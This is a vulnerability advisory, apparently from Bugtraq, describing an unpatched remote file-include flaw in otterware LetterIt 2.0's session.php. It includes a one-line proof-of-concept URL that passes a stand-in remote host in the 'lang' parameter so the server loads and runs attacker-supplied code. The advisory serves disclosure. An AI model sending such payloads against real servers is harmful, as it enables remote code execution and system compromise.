LetterIt Session.PHP Remote File Include Vulnerability

Bugtraq ID:	20980
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 09 2006 12:00AM
Updated:	Nov 14 2006 04:11PM
Credit:	v1per-haCker is credited with the discovery of this vulnerability.
Vulnerable:	otterware LetterIt 2.0
Not Vulnerable:

LetterIt Session.PHP Remote File Include Vulnerability

LetterIt is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

LetterIt Session.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/path/inc/session.php?sessionerror=0&lang=http://EvElCoDe.txt?

LetterIt Session.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

LetterIt Session.PHP Remote File Include Vulnerability

References:

• LetterIt Web Site (Helge Orthmann)